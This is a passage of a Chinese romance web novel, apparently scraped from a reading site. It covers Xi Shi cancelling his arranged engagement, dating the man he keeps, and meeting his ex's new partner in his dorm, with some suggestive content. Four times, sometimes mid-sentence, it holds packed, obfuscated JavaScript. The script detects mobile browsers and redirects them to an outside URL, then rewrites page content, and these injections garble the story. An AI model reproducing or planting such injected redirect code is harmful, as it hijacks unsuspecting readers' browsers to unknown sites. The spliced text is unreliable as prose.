她抬了抬下巴,说:“既然是这样,这事就这么定了,我让律师拟婚前协议。” “好,好,双方财产也作个婚前公证,我们不能占了邵寻的便宜。”奚锦年忙补充说。 婶婶也说:“对,婚礼也要继续准备起来。” 三个家长很快达成了一致意见,忽然听到一声“噗嗤”笑,循声望去,是一直没出声的奚时。 “你笑什么?”邵寻皱眉。 “我只是想请问,你跟我协议结婚,你那位洋洋都不会有意见的吗?”奚时看向邵寻,询问道。 邵寻一脸自傲:“你我只是做做样子走过场而已,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048942|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名无实,我跟他说清楚,他当然不会有意见。” “那他可真是大肚啊。” 奚时装模作样地感叹,又话锋一转说:“我就不同了,我有洁癖,我的男人只允许出现在我的结婚证上,反之亦然,所以......” 他扫视了一眼众人,掷地有声地吐出四个字—— “我不同意。” 其实邵夫人说的这个方法,确实是现在情况下的最优解。 如此一来,面子里子都保住了。 特别是奚时,不用沦为笑柄,即便没有实质的爱情,也不耽误他婚后一步登天,做人人艳羡的“邵太太”。 毕竟在燕京没几家人门第比邵家的高,以前那些看不起他是个寄人篱下的少爷千金,都得捏着鼻子来捧他臭脚,多解气啊。 所有人都没料到奚时会拒绝。 邵夫人只当他是说气话,轻蔑一笑。 “有些话还是要想清楚再说,你不要小孩子心性逞一时之能,过了这个村,可就没这个店了。” “是啊小时。” 婶婶也跟着劝道:“如果婚约取消,最大的受害者是你,而且你刚那话的意思,是还喜欢着邵寻的吧,说不定你们婚后过日子,又处出感情来了,这婚就不用离了,是这个理吧。” 邵寻皮笑肉不笑地轻哼了一声。 “不,取消婚礼,我说的。”奚时声音坚决。 别以为他不知道邵夫人打的什么算盘。 邵夫人一直认为他配不上她儿子,只是她老公前头那个老婆留下的继子争权夺势太厉害,邵寻形单力薄,只能借住联姻来增加筹码。 但除了奚时,一时间又找不到比奚家家世更好的。 她只能捏着鼻子同意了这桩联姻。 她连奚时都看不上,那汪洋这个比奚时还不如的就更瞧不上了。 所以她才想出协议结婚这一招,既可以让邵寻获得联姻的好处,又不用担心他儿子真跟汪洋结婚。 这三五年内,他有的是时间拆散邵寻和汪洋,再物色门当户对的儿媳妇。 到时候再名正言顺地把利用完的奚时扫地出门,多完美啊。 一举多得。 好处全被她占光了,哪有那么好的事。 奚时可不是什么任人搓扁捏圆的包子。 以前因为是联姻没得选,也因为邵寻这个联姻对象还可以,在燕京一干二世祖之间,也算鹤立鸡群,他愿意忍受这么个眼高于顶的邵夫人。 现在还想把他坑过去给这老女人磋磨,那只有两个字—— 没门。 奚锦年皱眉:“小时,别任性。” “我不是任性,我自己的选择我很清楚。” 奚时站起来,环视了一圈众人,说:“作为宋家的一员,联姻,我心甘情愿,但这个人,不可能是邵寻。” 说着,奚时没再理会他们说什么,抬脚离开。 走到门口,奚时正要伸手拉开门,听到邵寻有点气急败坏的声音:“奚时,你不要后悔!” 哟,瞧把他自信的。 奚时连白眼都懒得翻了,抬手挥了挥,头也没回就离开了奚家。 5. 第 5 章 退婚一事并没有影响奚时的心情,特别是想到晚上又能见到景沉,他内心美滋滋。 嘿嘿嘿。 他选的和景沉一起吃饭的地点是一家会所,别看这里是娱乐场所,里面的饭菜可好吃了,还需要提前预约。 他到时景沉还没到,给他发消息说路上堵车了,让他等一会。 奚时走进会所,在大堂的休息区等他。 刚在沙发上坐下,听到一个声音说:“哟,这不是奚时吗?” 奚时转过头,看到一行年轻的男男女女,他们原本并没有注意到他,那个声音一叫,全都停住脚步看过来。 是几个他不怎么熟的纨绔。 “还真是你啊,你在这里等谁啊,不会是邵寻吧。” 此话一出,其他人都笑了起来。 邵家可能是出于报复之心,他们婚约取消一事,下午就放出了风声。 好事不出门,坏事传千里,到现在,估计整个燕京豪门圈都知道了。 奚时知道会被人嘲笑一阵子,已经放平心态,压根不理他们。 那群人不依不饶,走过来在他旁边的沙发上坐下,故作关心实则幸灾乐祸。 “所以邵寻真的为了那个汪洋跟你退婚了吗?” “你就应该死咬着婚约不放,那个汪洋长相家世都不如你,凭什么让给他!” “你来这里是要买醉的吧,哥几个可以陪你喝啊。” …… 奚时被他们吵得不行,幽幽叹了口气,说:“唉,我好惨,真的。” 几个好事者以为他要诉衷肠,再借他们之嘴传播,好让舆论都去炮轰邵寻,隐隐有些吃到第一口瓜的兴奋。 “怎么个惨法,快说说,哥几个说不定能帮你。” 奚时眼睛一亮:“那我就不客气了哦。” 说着,他打开微信的收款码,说:“我现在最大的困难就是穷,你们那么热心,就借点钱给我吧,不用多,一个人借个百八十万的。” 好事者们:“……” 他们这些纨绔,平时没钱都要打肿脸充胖子,这借钱是什么套路? 奚时见他们不动,把借款码伸到吠得最大声那个人跟前。 “彭浩,你不是说要帮我吗,快借我一百万让我看看实力。” “……”彭浩嘴角抽搐。 你当一百万是地里的萝卜呢,说借就有。 “还有李杰,我爸爸还在世时,跟你爸是朋友,你怎么着也得借个100万帮我渡过难关吧。” “我,我……” 李杰被道德绑架得不知所措地看向其他人。 “这位是朱少吧,朱少,您家里是真有钱啊,像您这种富哥借我个两百万眼睛都不会眨一下吧。” 朱少:“……” “你神经病啊。” 朱少咒骂了一声,起身就走,其他人见状,也赶紧汗流浃背地跟上,奚时还在后面叫他们。 “哎,别走啊,我真的太穷了,都借我一点吧。” 一行人脚步更快了,几乎瞬间消失在了会所门口。 目睹了一切的景沉看奚时还怪遗憾地收起收款码,手抵着唇笑出了声。 其实他跟奚时几乎是前后脚到的,只是他进门时,刚巧看到那几个人在奚落奚时。 他作为一个被包养的小情儿,这种事情也帮不了奚时,反倒他在场会让奚时面上无光。 见那几个人也只是逞一时口舌之快,并无太大恶意,景沉选择旁观。 而且他也很想看他这“金主”会怎么应对这些小纨绔的嘲弄。 结果还真是……挺豁得出去。 奚时这时也瞧见了景沉,看到他那张令他心动的脸,所有的烦闷都一扫而空。 “这里?”奚时开心地冲他挥手。 景沉走过来,奚时轻咳一声,有点不自然地问:“你什么时候到的。” “刚到。” “哦……” 那应该没看到他刚刚借钱那一幕……吧? 奚时这样想着,还是解释了一句,说:“我不缺钱的。” 万一等下景沉以为他没钱,不跟他了怎么办。 他还没睡够呢。 景沉故作不解:“怎么突然说这个?” 奚时见他疑惑的样子,不像是装的,松了口气,笑嘻嘻地说:“没什么,走吧。” 他冲男人伸出手。 等男人自觉地把手放上去,奚时牵住他的手,说:“先去吃饭,等下去旁边广场逛逛,给你买几身衣服。” 他不知道别人包养男人是怎么样的,不过那些纨绔包养小明星小情儿,都喜欢给送个包啊,首饰啥的。 景沉是男人,自然用不上这些。 不过他就是喜欢景沉的皮囊,那就投资他的外表吧。 光是想想给景沉穿上好看的衣服,打扮得帅帅的养他眼,他就觉得十分愉悦。 走进餐厅,服务员领他们到了奚时定好的位置,景沉对服务员说:“你们这椅子我坐着不舒服,麻烦帮忙拿两个软一点的坐垫。” 服务员微微愣了一下,随即礼貌道:“好的,您稍等。” 景沉这才坐下来,就看到对面的奚时手撑着下巴,在冲他笑。 “你好贤惠啊。” 这里的餐椅都是硬的椅子,景沉肯定是考虑到他过度使用的某处坐着不舒服,才会要垫子。 而且一要要了两个,不是特意要给他,服务员就不会往那方面想,避免了让他尴尬。 多体贴,多贤惠啊! 服务员很快拿来了垫子,松软舒适,垫在椅子上,果然那处的不舒服缓解了许多。 这里上菜比较慢,等上菜的时候,奚时叹了口气,说:“我后天开学,以后见面就没那么方便了。” 景沉动作一顿。 “你还是学生?” “对呀,开学后上大三,看不出来吗?” 奚时忍不住摸了下脸,他应该没那么显老吧。 景沉目光十分复杂。 奚时倒不显老,相反的,他相当年轻,尤其是那双眼睛,澄澈干净,说是高中生也不违和。 不过景沉只当他是脸嫩,在他看来,大学生还在追求美好爱情的年纪,不应该会有那么多花花肠子搞包养这种套路。 没想到他也会有看走眼的时候。 “本地的大学?”景沉问。 “是啊,燕京大学,唔,虽然是本地,但跟你工作的地方一个城南一个城北的也有点远,所以……” 奚时把自己的车钥匙推到景沉面前。 “我的车就给你开吧,以后见面也方便,反正我们大学管得严,不让学生开车去,这车放着也是落灰。” 每次景沉跟他见面都是打车来的,应该没车,奚时现在看他怎么看怎么宝贝,恨不得把自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048943|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的最好的东西都给他。 景沉没接。 燕京大学四个字掷地有声,他眼前浮现出一个月前的画面,某个人影挥舞着录取通知书喊:“爸!我考上燕京大学啦!” 很离谱,景沉在考虑要不要断掉这段关系。 然而,看着眼前的小朋友看他的灼灼目光,他微微叹了一口气。 “你在大学应该有一定知名度,我时常过去会碰到你同学,是不是对你不太好。” 奚时其实一点都不担心被同学看到。 这么帅的对象,就应该狠狠炫耀。 不过想到他那个堂妹开了学也在燕京大学上大一,为了不必要的麻烦,确实应该规避一下。 “那我们尽量不要在学校碰面,开房也在离学校远一点的地方开,如果不小心被同学看到了,就说你是我表哥,可以吗?” 景沉微微松了一口气,说:“可以。” 奚时不知道他差点又经历一次分手。 他抓住景沉放在桌面上的手,把车钥匙放进去,又在他手心里刮了两下,暧昧地冲他眨眨眼。 “我那车里面的空间也挺大的。” “……” 景沉失笑。 这大概就是他看走眼的原因吧。 不过想到他以后和奚时见面,也不能总打车,他闻不惯那些车里的味道,于是收下了车钥匙。 吃完饭后,奚时立刻带着景沉去了旁边商场,直奔男装店。 景沉像个衣架子一样,穿什么都好看。 奚时给他选了几身便服,看到隔壁正装店模特身上板正的西装,脑海中有邪恶的小人在呐喊,让他忍不住走进去。 好吧,他承认了,他是个西装控。 可惜邵寻那傻逼不爱穿西装,他也不好意思强迫人家穿。 景沉就不同了,花了钱的,可以理直气壮地让他穿。 奚时挑了一身西装让景沉去试。 景沉的西装都是由裁缝先来家中量好尺寸,由大师设计专门的款式,根据他的尺寸手工制作,每一件都是刚刚好的,并且独一无二。 这种在商场购买大众款式,还需要亲自试,着实是第一次。 景沉颇觉新鲜,进试衣间换上一身奚时挑的衬衣西服。 等他从试衣间出来,等在外面的奚时眼前一亮。 果然他的眼光没有错,景沉实在是太适合穿西装了,有一股浑然天成的矜贵气质。 那板正的西装往身上一穿,跟来陪男友逛街的总裁一样,气场一下出来了,谁敢信他是个工地打工的。 “哇,景总,你好帅哦。” 奚时再一次没出息地被迷得七荤八素。 想到这是他包养的男人,他无比满足,附在他耳边低声说:“别换了,就穿这身,等下我们去酒店……” 景沉挑了下眉。 他以为经过昨晚,他起码三天内是不会再想了。 看来他小瞧了他。 奚时发现自己真是个无药可救的西服控,特别是在床上时,上身还一本正经穿着西服的男人…… 但后果就是第二天浑身更加酸痛双腿发抖,深刻体会到了小说中连动一根手指头都没力气的惨状。 而景沉,一大早就精神奕奕地起床准备上班。 奚时半梦半醒间摸手机看了眼时间,才早上六点半,忍不住咂舌。 精力真好啊。 6. 第 6 章 奚时昨晚真累着了,困倦交加,恨不得下一秒就昏睡过去。 不过看到男人扯掉腰间的浴巾,弯腰捡起地上的衣服穿时,眼睛又不由得微微睁大。 难怪他某处异物感这么强烈,原来沉睡的巨龙也如此夸张。 这么一看景沉的身材真是堪称完美,线条流畅匀称富有美感,跟一座精心雕刻的塑像一样。 而且,景沉自带一种养尊处优的矜贵气息,不说话时淡漠疏离,天生带着一股摄人心魄的压迫感。 这种人在床上时显现出来的柔情一面就显得尤为惑人,仿佛自己是唯一那个能让他温柔以待的人。 幸好要开学了以后不能天天见,不然非得被这个男人连身带心一起勾走。 唉,男色之美,何其销魂啊。 奚时吸溜了一下口水。 景沉听到动静,转过头,见他一瞬不瞬地盯着自己瞧,说:“吵醒你了?” “是的,你的美色把我眼睛吵醒了。” “……” 奚时满脸都是不加遮掩的垂涎之色,倒把景沉看笑了。 也不知道谁昨晚哭着求饶。 他走过去,伸手捂在他的眼睛上,说:“还早,再睡会。” 奚时确实困得厉害,闭上眼没多久就睡着了。 景沉这么早起来倒不是真的公司有事,而是要回一趟家。 他开的是奚时的车,外面的大门并不能识别他的车牌号。 保安不客气地冲他摆手,示意这里不让进。 景沉降下车窗,保安看到他的脸,不可思议地瞪大眼,震惊片刻才露出一个恭敬的笑容。 “家主,不好意思没看到是您,您请进,请进。” 他赶紧按开门让景沉进。 景沉关上车窗前,吩咐道:“给这辆车登记一个进出资格。” “啊?哦,哦,好的,好的。” 保安目送景沉的车离去,好一会儿才从震惊中缓过神来。 家主今天开了一辆没见过的车,这没什么稀奇的,有钱人买车跟普通人买白菜一样,何况这只是一辆帕拉梅拉。 但,这车贴着扎眼的原谅绿车膜,看样子还是新贴的,干净得不染尘埃,在朝阳的照射下绿得发光,闪瞎人眼,一点都不稳重。 要知道,家主以前的车,都是原始的黑色,很符合他内敛成熟的气质。 哪有这么......这么开放的颜色。 景沉把车停进院子,管家看到他从车上下来,也是瞳孔震了震,甚至还很不稳重地揉了揉眼睛。 他们的反应都被景沉看在眼里,景沉额角跳了跳。 这车前天看到的时候,还是很朝气蓬勃的天蓝色贴膜,昨天就变成了这绿油油的样子,也不知道奚时受了什么刺激。 管家职业素养很好,很快恢复镇定,说:“家主,您需要用早饭吗?我以为您直接去公司,没让厨房准备,急的话我叫外送。” 景沉大步走进家里,说:“现在准备,我要健身一个小时。” “好的。” 管家忙去吩咐厨房准备,他本以为家主这个点回来,上午不去公司,或者有别的事情要忙。 结果等他健完一个小时的身,又回房间冲洗后,换了一身西装革履,看样子依旧是去上班。 这么说来,家主回来这一趟,其实就是为了……健个身? 家主虽然会健身,也不是天天,像现在这种情况,肯定直接去公司,这种来回用他的话来说完全是无意义地浪费时间。 管家在他面前没那么多拘谨,好奇就问了。 “家主,您怎么特地赶回来健身?是前两天的健康检查有什么问题吗?” 景沉吃早餐的手一顿,随即冷漠吐出两个字:“多嘴。” 他高高在上惯了,从来都是别人讨好他。 所以他打心底就不会承认这是因为某个小朋友天天斯哈他身材,担心不勤快腹肌会没,被小朋友嫌弃的缘故。 管家:“……” 虽然被训了,但是家主嘴角上扬得好明显啊。 他好久没看到家主这么开心了【bushi。 —— 奚时这个回笼觉并没有睡多久,学校明天开学,他今天得去报到一下。 他到宿舍时,刚巧碰到舍友郭昊出来扔垃圾,见他拉着行李箱进来吓了一跳。 “奚哥,你怎么来了?你不是说这学期在外面租房吗?” 本来奚时要和邵寻结婚,大三申请了校外住宿,两个人的婚房也买在离学校只有十几分钟车程的地方,方便小两口婚后共居。 现在婚事黄了,婚房是住不成了。 奚时想要另外租房子,方便和景沉□□做的事情。 他打算租个精装的两房或者三房,无他,总觉得差一点的配不上景沉。 但他刚来的时候在租房网上看了现有的房源,都没看到满意的,中介说是现在开学季,房源紧张,而且学校周边单间比较多,两三房的套房不好租。 奚时是宁缺毋滥的性子,他让中介帮他留意,打算先住一阵子宿舍。 他和邵寻的婚事同学并不知道,只说自己出去租房住了。 “房东忽然不租了,一时间租不到别的房子,先回来住一阵子。” 奚时看郭昊一脸古怪,攀住他的肩膀:“怎么,你小子不欢迎啊。” “当然不是,就是,就是......” 郭昊挠了挠脑袋,说:“那个,辅导员不是以为你不住了么,就安排了别的同学住过来,新同学已经把你那个床位占了。” 原来是这样啊。 他们这个宿舍原本就只住了三个人,他搬出去,学校会安排其他人住进来很正常。 奚时问:“另一个空着的床位也有人了吗?” “那倒没有,奚哥你要住的话,我们帮你收拾。” 他们宿舍有一个没人住的空床位,只是放满了乱七八糟的东西,要空出来不容易。 挪的挪,丢的丢,挺费人的。 郭昊去扔了垃圾后,回来跟另一个室友肖楠一起帮忙收拾。 奚时本来就是个十指不沾阳春水的公子哥,加上前天和昨天都做了费腰的运动,弄了一会就腰酸背痛,两腿颤颤了。 正收拾得热火朝天时,门口传来说话的声音。 “终于到了,好重哦。” “我说我来拿,你非要逞强,看你,手都提红了。” “没事,我也舍不得你太辛苦嘛。” 这声音,其中一个还挺耳熟。 奚时擦了一把汗,抬头,就看到邵寻提着大包小包,走进寝室。 四目相对,空气仿佛突然凝固。 奚时淡漠地移开目光,心里骂了一声娘。 邵寻早毕业了,所以这位新室友是……跟在他身后的汪洋。 好好好,这样洒狗血是吧。 另外两个舍友显然已经跟他们见过面了。 他们没意识到三人间怪异的气氛,热情地给他们做介绍。 “你们买东西回来啦,这是奚时,我们的另一个室友,奚哥,这就是我们的新室友汪洋,这是他的哥。” 由于奚时不想被学校的同学知道他们关系,被当作谈资,所以邵寻从没来过燕大找他,他同学也不知道二人曾经有过一段。 奚时无可无不可地冲汪洋点点头,算是打过招呼。 汪洋没见过奚时,但邵寻和奚时的事人尽皆知,他也在好奇之心看过奚时的照片。 看照片时,汪洋只觉得这男的虚荣无比,把自己P得爹妈都不认识了,一个男的,又不是明星,P那么好看给谁看啊。 然而当他看到真人,才发现照片根本没P,甚至把奚时拍丑了。 现实的奚时更加好看。 以前汪洋对自己的长相挺自信的,可现在看到奚时,愣是让他油然而生一股自卑感来。 原来真的有人能长得这般好看惊艳,完全已经超出平常人的范畴,跟画像里那些人类意淫出来的大美人从画中走出来了一样,惊为天人。 但想到自己长相不如奚时,家世也比他低,甚至连这燕大,当初他的成绩也差一截考不上。 现在能进来,还亏他出国留学三年,能说一口流利的英语,又靠着关系,才勉强进了外语系。 可偏偏是处处不如奚时的他,占据了邵寻的心,成了他的白月光。 奚时长得再好有什么用呢,还不是被邵寻退婚,被燕京豪门圈的人笑话。 这样子想着,汪洋内心油然而生一股优越感。 当然,他并没有把这种优越感表现出来。 他一脸不知所措地说:“不好意思,我以为你搬出去了,所以才把你原先的床位占了。” 奚时连白眼都懒得翻。 汪洋继续说:“你要是介意的话,我这就把东西收了,跟你换一下。” 奚时停下手中的活。 喜欢装是吧。 “好啊,我挺喜欢那个床位的,既然你这么有诚心,我就却之不恭啦。” 汪洋:“……” 汪洋没想到他真会答应,咬了下嘴唇。 他也就说说而已。 他床都铺好了,底下的电脑桌也收拾整齐,而且这个位置靠窗,光线足空气好,没人住那个床位靠进洗手间,潮湿不说,厕所稍微不干净,都能闻到异味。 他以为像奚时这种连和邵寻协议结婚都不能接受的人,性子刚烈直白,肯定也不会接受他让床位。 谁知道他就这么答应了。 奚时不给他后悔的机会,走到汪洋面前,把脏兮兮的抹布递给他。 “来吧,你自己擦一下桌子,我去扔垃圾。” “......” 汪洋一时间进退两难,期待邵寻能出来帮他说句什么,他顺杆子下。 可他转过脸,就看到邵寻垂着眼眸站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048944|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里,跟失了魂一样。 汪洋只能慢吞吞地接过抹布,脑子里还在想着该怎么反悔,奚时已经提起刚收拾出来的一大袋垃圾。 “你提得动吗,放着等下我来吧。”郭昊说。 奚时拎起袋子:“没事,垃圾得及时扔,免得碍手碍脚还碍眼。” 一直没说话的邵寻:“……” 为什么感觉他被内涵了。 这袋垃圾很重,奚时废了老大的劲,才把它提到垃圾桶旁边,撑着膝盖歇了一会,他才打开垃圾桶盖,准备把垃圾扔进去。 手刚触碰到袋子,另一只手伸过来,提起垃圾,直接丢进了垃圾桶。 “谢......” 奚时的第二个谢字还没说出来,抬眼看到帮忙的人是邵寻,顿时觉得十分晦气。 他抬脚就走,免得沾染晦气。 “等等。”邵寻堵住他的去路。 “小时,我是来给你道歉的。” 奚时烦死这种前任了。 分手了就不能跟死了一样安分吗? 他毫不留情地说:“我们现在是互不相干的路人,你没有歉需要跟我道。” “有的,我之前并不知道洋洋住的是你的床位,不是故意让人安排的,也没有要膈应你的意思。” 邵寻今天看到奚时,也完全是懵逼的,根本不知道天下会有这样的巧合。 他担心奚时以为自己有意膈应他,微信又被奚时拉黑了,才找了现在这个机会来解释。 他清楚奚时自从他们定下婚约后,就付出了自己所有的真心,满心满眼都是他,即便他们现在取消婚约,对他也是爱恨交加。 之前汪洋选择抛弃一切出国时,他也是这种情绪。 愤怒之余,是愈发浓烈的爱意。 他都懂的。 所以他才要解释,即便他给不了奚时想要的,但也不能让他更难过,这种误会,更是要及时解释清楚,省得奚时钻牛角尖。 而且,汪洋提出让床位时,奚时立刻接受了,何尝不是在暗示他,只要他跟汪洋分手回头,他也会接受呢。 所以,有些话必须说清楚。 “虽然我们之间再无可能,但我对你没有任何恶意,比起伤害你,我更希望你开心。” “......” 奚时忍不住捋了一下手臂上的鸡皮疙瘩。 以前他怎么没发现这死扑街这么肉麻油腻。 奚时一脸冷漠:“我知道,巧合而已。” 邵寻点头:“对,是巧合。” 奚时:“你压根没这么大能耐。” “......” 奚时不耐烦地问:“可以让开了吗?” 他被自己退婚有怨,他被自己退婚有怨,他被自己退婚有怨。 邵寻默念三遍,才恢复心平气和,说:“兰园那套房子空置着,里面装修也是按照你的喜好来的,你可以搬过去住。” 兰园的房子,就是指的他们的婚房。 奚时眼睛一亮:“送我吗?” 送的话,他不介意带着景沉去他们的婚床上滚床单。 邵寻额角青筋直跳:“借住。” 这套房子价值几千万,他倒是敢想。 奚时翻了个白眼。 翻完,他看向邵寻身后,说:“汪洋。” 邵寻一惊,忙转过身,奚时趁机挤开他跑路,还不忘踩他一脚,疼得邵寻龇牙咧嘴。 奚时还是觉得不解气,跑出去几步,又回头冲邵寻竖了个中指。 “傻逼。” 骂完,奚时心里舒坦多了,转身离开。 邵寻一瘸一拐地回到宿舍,见汪洋在把原本收拾好的东西往新收拾出来的床位搬,忙走过去接过他手里的东西,低声说:“委屈你了。” 汪洋内心怨念,知道他委屈刚刚还不帮他说一句话。 现在他都搬了,说这些有什么用。 不过事已成定局,汪洋温和地笑了笑,说:“没事。” 这时,室友肖楠拿着洗干净的拖把从卫生间出来,看了眼手机说:“12点了,先去吃饭吧,迟了食堂就被扫荡光了。” 邵寻忙说:“不用去餐厅了,我请客,我们去外面吃。” 肖楠挠头:“那多不好意思啊。” “不用跟我客气,你们帮洋洋收拾了床铺,洋洋以后还要劳烦你们多照顾,你先叫奚时回来,我打个电话定位置。” 另一个室友郭昊举了举手机说:“不用等奚哥了,他给我发消息说下午有事先走了。” “而且,他说刚刚扔垃圾时被垃圾里浓烈的绿茶味熏到了,没胃口,奇怪,我刚刚去倒垃圾没闻到啊。” 邵寻:“......” 这话针对性太强,一骂骂俩,汪洋不由得多想。 刚刚看邵寻突然出去他就觉得不太对劲,难道奚时扔垃圾时,他去找他说话了? 汪洋眼皮子跳了跳。 7. 第 7 章 奚时倒不是为了躲邵寻汪洋,他确实有事。 他有个高中的铁哥们谢河,和他一样考进了燕大,谢河大学选的是计算机系,且因为成绩优异,大一时被一个学长抓进了他们自己成立的工作室。 这几年小程序游戏盛行,学长们也顺应趋势,打算开发一款小程序游戏。 谢河一开始是被拉去当牛马(划掉)开发人员的,后来游戏发行后,没赚到钱,学长们也一个个毕业拿到了大厂的offer,陆续离开了工作室,主开发就想低价卖掉游戏。 这游戏耗了谢河不少心血,而且他觉得这游戏被盘活的希望很大,草草卖掉太可惜了。 可他家境贫寒,买零头的钱都拿不出来。 于是他找到身为富二代的奚时,问他要不要一起接盘下来。 奚时那时候身上有点闲钱,而且也有创业的想法,听完谢河的分析后,他决定盘下来。 近一年时间,游戏在他成立的团队大刀阔斧地改造下,慢慢地起死回生。 为了这游戏,奚时一度勒紧裤腰带,往里面填了不少钱,甚至还朝他堂哥借了一些。 不过游戏开始盈利后,回报也很可观。 别小看微信小程序游戏,氪佬们氪上头,都是几万几十万地往里氪。 现在奚时已经快把亏损赚回来了,并且游戏发展势头良好,奚时甚至有可能靠它实现财富自由。 工作室现在已经租了半层的写字楼作为办公场所,就在燕大旁边,奚时走路过去只要五分钟。 “叫我过来什么事?” 奚时走进谢河的办公室,大喇喇地在他对面的办公椅上坐下来问道。 谢河扶了扶厚厚的眼镜,说:“我们开发app出现了一个技术上难以攻克的问题。” 他们的是小程序游戏,不过随着玩家越来越多,一些老玩家也提出需求,想要app版的,因为小程序虽然便捷,但也有容易闪退、掉线和卡顿之类的问题,有独立的app会好很多。 有这些需求的玩家都是有粘性的玩家,双端也是留住老玩家的一种方式,所以他们在重置版本的游戏进入正轨后,立刻马不停蹄地投入app开发上。 事关以后能不能赚到更多钱,奚时立刻严肃了态度。 “我有什么能帮上忙的地方吗?” 谢河说:“经一个师兄引荐,我知道有个大牛可以解决这个问题,但他嫌弃我们小作坊,不肯来。” 谢河端起桌上的水杯喝了一口,继续说:“不过我打听到他很喜欢一个叫高山曲水的乐团,那个乐团过两天有一场音乐会,但以他的身份拿不到票,所以......” 他看向奚时:“我需要两张票,连坐的,你能想办法拿到吗?” 奚时也听说过高山曲水这个乐团,是国内知名的交响乐团。 他拿出手机搜索了一下过两天的音乐会,这场将在天禾公馆这个知名销金窟举办的音乐会,显然是一场有权或钱的人才能参与的盛会,没点来头的人根本拿不到邀请函。 看了眼主办方的名字,奚时点头道:“没问题,明早让人送你办公室。” 谢河脸上露出微笑,冲他竖起一个大拇指:“我就知道你可以的。” 奚时说:“技术上的问题我帮不上忙,这点小事还是OK的,还有什么需要我的,你尽管说。” “确实还有个事......” 谢河忽然变得扭扭捏捏,轻咳了一声,才说:“你不是要结婚了么,我给你准备了一个礼物,就是这个。” 他从办公桌底下拖出一个纸箱子,箱子里是各种玩偶。 奚时一眼认出来,这不是普通的玩偶,是他们这款微信小游戏里的妖宠。 奚时有点惊喜地拿起其中一个九尾狐的玩偶。 “这也太还原了,跟游戏里的一模一样。” 谢河松了口气,说:“你不嫌弃就好,礼物比较薄,你婚礼那天我不好意思送,就提前送给你了,祝你新婚快乐。” “一点都不嫌弃!” 奚时把箱子抱起来:“不过我还没来得及告诉你,我的婚礼已经取消了,祝福就不用了,礼物我照收。” 说着,奚时怕谢河反悔,抱着箱子就跑。 “……什么乱七八糟的,你把话说清楚,喂!” 谢河追了几步,跑出办公室又怕被员工看到自己不稳重的一面,只能眼睁睁看着奚时溜了。 奚时抱着箱子跑回他那个几乎是摆设的办公室,才把箱子放下来。 其实他就算不跑,谢河也会把玩偶送给他。 不过谢河家境贫寒,导致他比较自卑,尤其是在他这种富少面前,提前送礼也是觉得拿不出手,他这样子“明抢”,反而能表现出对礼物的重视。 当然,他也是真喜欢这些玩偶。 把每个玩偶都看了一遍,奚时才想起正事,拿出手机来,开始找门道搞音乐会的票。 这对他来说并不难,很快他就和主办方的人联系上了,不过他一共要了四张票。 等对方把门票发过来,奚时发了两张给谢河,又打开景沉的聊天框。 你咋不上天:哥,这周五晚上你有空吗? 景沉那边回复得挺快。 景沉:有什么事? 奚时把音乐会的门票发给他。 你咋不上天:[图片] 你咋不上天:约么?(媚眼) 景沉估计是不想打字,直接给他发语音。 景沉:“你还喜欢交响乐?” 男人低沉的声音从听筒里传出来,奚时揉了揉酥麻的耳朵,心旌荡漾,一点都不掩饰自己色心。 你咋不上天:主要是想和穿西装的你约会。 现在天气还热,在外面穿西装很怪。 但这种比较高端有逼格的音乐会,很多嘉宾都会穿正装出席,景沉在里面就不会违和。 景沉:“……” 这条消息给他看无语了。 其他人表现出对他的喜欢,基本都是图他权图他利。 但这个小朋友,是真垂涎他的美色啊。 景沉想了想,按照语音键,说了一句话。 奚时见他又发了语音过来,立刻点开,男人清冷淡漠,仿佛不染尘埃的声音从听筒里传出来。 “可以,要加钱。” 奚时:“……” 不是,这清高的声音是怎么说出这充满铜臭味的话的。 他们本来就是包养关系,景沉伸手要钱,好像也没毛病。 于是奚时痛快地给景沉转了一万的出场费,获得了此次约会权。 周五傍晚,景沉过来接他,奚时掐着他快要到的时间,往学校的北门口走去。 快要到门口时,奚时听到几个女生兴奋地议论。 “哇,真的是帕加尼Utopia,听说我们市仅仅只有两辆,今天大开眼界了。” “车酷,人也帅,啊啊啊,小说高富帅男主照进现实了!” “他在等谁?女朋友吗?” “男朋友也说不定,不过不管男女,都轮不到我们,嘻嘻。” …… 奚时没当回事,走到校门口,正欲拿出手机问一下景沉到没到时,听到有人叫他。 “奚时。” 奚时听到这个声音人就麻了,他一转头,果然就看到邵寻那张讨人厌的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 